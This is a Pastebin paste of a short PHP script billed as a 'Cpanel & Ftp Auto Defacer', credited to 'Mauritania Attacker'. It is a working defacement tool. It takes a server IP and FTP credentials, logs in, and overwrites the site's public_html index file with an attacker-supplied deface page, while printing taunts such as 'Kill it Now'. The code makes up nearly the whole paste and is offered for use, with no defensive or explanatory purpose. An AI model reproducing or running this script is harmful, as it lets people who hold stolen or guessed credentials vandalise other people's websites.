BigBlackWidow

[PHP] Cpanel & Ftp Auto Defacer

Mar 2nd, 2016
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.24 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel & Ftp Auto Defacer Coded By Mauritania Attacker</span></center>
  4. <br><center><img src="http://www6.0zz0.com/2014/08/20/15/449603437.png" /></center>';
  5. echo"<table width='100%' cellspacing='0' cellpadding='0' class='tb1' >
  6. <td width='100%' align=center valign='top' rowspan='1'><div class='hedr'>
  7. <td height='10' align='left' class='td1'></td></tr><tr><td
  8. width='100%' align='center' valign='top' rowspan='1'>
  9. <font color='red' face='comic sans ms' size='1'><b>
  10. <font color='RED' face='gothic' size='3'></font><br>
  11. <font color='white'></font>
  12. </table>";
  13.  
  14. echo"<body bgcolor=black><h6 style='text-align:center'><font color=white>
  15. <form method=post><font face=Tahoma size=2 color=#007700>
  16. Server ip : &nbsp;<input type=text name=hi value=ip>&nbsp;
  17. Username : &nbsp;<input type=text name=tx value=>&nbsp;
  18. Password : &nbsp;<input type=text name=p value=><br><br>
  19. file that you want to deface : </font><input type=text name=ph value='index.php'><br><br>
  20. <font face=Tahoma size=2 color=#009900>Deface page url --> </font><textarea class='area' rows='1' cols='75' name='deface' value='your daface page link'></textarea><br><br>
  21. <input type=submit name=sm value='Kill it Now' /><br>
  22. </form>";
  23.  
  24. if(isset($_POST['sm']))
  25. {
  26. $ip=trim($_POST['hi']);
  27. $u=trim($_POST['tx']);
  28. $p=trim($_POST['p']);
  29. $d=trim($_POST['ph']);
  30. $df=trim($_POST['deface']);
  31. echo "<br><font color=white size=2>";
  32. echo "<font color=red size=3>server ip ==></font>&nbsp".$ip;
  33. echo "<br><font color=red size=3>user ==></font> &nbsp".$u;
  34. echo "<br><font color=red size=3>password ==></font> &nbsp".$p;
  35. echo "<br><font color=red size=3>dirctory ==></font> &nbsp".$d;
  36. echo "<br><font color=red size=3>deface link ==></font><br>".$df."<br>";
  37. $dl="public_html/".$d;
  38. $si= ftp_connect($ip);
  39.  
  40. $try= ftp_login($si,$u,$p);
  41. if ((!$si) || (!$try))
  42. {
  43. echo "<br>could not connect , hope u filled out all correctly :(";
  44. exit;
  45. }
  46. else
  47. {
  48. echo "<br>connection done XD<br>Ghost ,its time to spin this shit<br>";
  49. }
  50. $deface = ftp_put($si, $dl , $df, FTP_BINARY);
  51. if ($deface)
  52. {
  53. echo "hell yeah page got defaced successfully >";
  54. }
  55. else
  56. {
  57. echo "Ghost try manually :(";
  58. }
  59. }
  60. ?>
Add Comment
Please, Sign In to add comment